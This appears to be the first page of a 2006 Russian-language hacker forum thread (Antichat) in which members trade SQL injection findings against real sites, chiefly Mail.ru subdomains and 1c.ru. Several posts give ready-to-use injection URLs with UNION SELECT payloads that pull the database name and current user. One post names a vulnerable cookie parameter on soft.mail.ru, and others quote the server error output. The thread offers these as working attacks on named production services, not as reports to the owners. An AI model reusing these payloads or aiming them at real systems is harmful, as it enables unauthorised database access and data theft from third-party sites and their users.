HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Тема: Sql иньекция на Mail.ru!
   
Ответ
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

Тема: Sql иньекция на Mail.ru!
  #1  
Старый 04.01.2006, 22:11
xdx
Участник форума
Регистрация: 15.09.2005
Сообщений: 115
С нами: 10868923

Репутация: 48
По умолчанию Тема: Sql иньекция на Mail.ru!
𝕏 Twitter Reddit Telegram Копировать ссылку
Последний раз редактировалось xdx; 04.01.2006 в 22:13..
 
Ответить с цитированием

  #2  
Старый 04.01.2006, 22:14
xdx
Участник форума
Регистрация: 15.09.2005
Сообщений: 115
С нами: 10868923

Репутация: 48
По умолчанию
или уш вот -) http://realty.mail.ru/main/sale/id_1'www.antichat.ru-FOREVA'/results.aspx
 
Ответить с цитированием

  #3  
Старый 04.01.2006, 22:18
xdx
Участник форума
Регистрация: 15.09.2005
Сообщений: 115
С нами: 10868923

Репутация: 48
По умолчанию
лень создавать тему и в топку -) http://www.1c.ru/partwebs/partwebs.jsp?city=www.antichat.ru'%20union%20selec t%20DB_NAME(1),CURRENT_USER--
 
Ответить с цитированием

  #4  
Старый 02.07.2006, 14:07
D3s
Познающий
Регистрация: 01.07.2006
Сообщений: 46
С нами: 10453268

Репутация: 5
По умолчанию
Цитата:
Сообщение от xdx  
лень создавать тему и в топку -) http://www.1c.ru/partwebs/partwebs.jsp?city=www.antichat.ru'%20union%20selec t%20DB_NAME(1),CURRENT_USER--
Народ, обьясните пожалуйсто что с этим можно сделать?
 
Ответить с цитированием

  #5  
Старый 04.01.2006, 22:49
xdx
Участник форума
Регистрация: 15.09.2005
Сообщений: 115
С нами: 10868923

Репутация: 48
По умолчанию
Щас проверим
РАБОТАЕТ не так ссылку написал
http://www.1c.ru/partwebs/partwebs.jsp?city=antichat.ru'%20union%20select%20 DB_NAME(0),CURRENT_USER--

Вот работает
http://realty.mail.ru/main/sale/id_1'/results.aspx

после id_1 НАДО чтоб он написал ' а он не пишет
Последний раз редактировалось xdx; 04.01.2006 в 22:55..
 
Ответить с цитированием

  #6  
Старый 05.06.2006, 22:35
Dagon
Познающий
Регистрация: 27.03.2006
Сообщений: 86
С нами: 10591280

Репутация: 52
По умолчанию
вот нашел еще одну sql иньекцию в mail.ru

http://top.mail.ru/stat?url=www.orel.ru'%20UNION%20SELECT%20*%20FROM% 20pages/*
 
Ответить с цитированием

  #7  
Старый 01.07.2006, 05:26
SanyaX
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
С нами: 11200586

Репутация: 1398


По умолчанию
Цитата:
Сообщение от Dagon  
вот нашел еще одну sql иньекцию в mail.ru

http://top.mail.ru/stat?url=www.orel.ru'%20UNION%20SELECT%20*%20FROM% 20pages/*
Я помню ещё с киборгом смотрели. Затряли на кодировке.
Цитата:
Failed to get record: Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
__________________
-=Ok let's Go=-
-=OpenVPN=-
 
Ответить с цитированием

  #8  
Старый 01.07.2006, 02:37
Go0o$E
Members of Antichat - Level 5
Регистрация: 27.01.2006
Сообщений: 258
С нами: 10676486

Репутация: 774
По умолчанию
SQL-INJECTION на soft.mail.ru.

Уязвимость в cookies на страницах:
Код:
index.php, interview_list.php, search_result_header.php, softclub-main.php.
Уязвимый параметр - OP_ID='.

Ошибка:
Код:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/test.allsoft.ru/aux/bokovik/opinion.inc on line 84
__________________

Завтра будет.Лучше.
 
Ответить с цитированием

  #9  
Старый 01.07.2006, 05:24
SanyaX
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
С нами: 11200586

Репутация: 1398


По умолчанию
А что линк убрал?
__________________
-=Ok let's Go=-
-=OpenVPN=-
 
Ответить с цитированием

  #10  
Старый 01.07.2006, 12:50
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
С нами: 10994966

Репутация: 1332


По умолчанию
статью мою почитай
 
Ответить с цитированием
Ответ
Страница 1 из 2 1 2 >



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.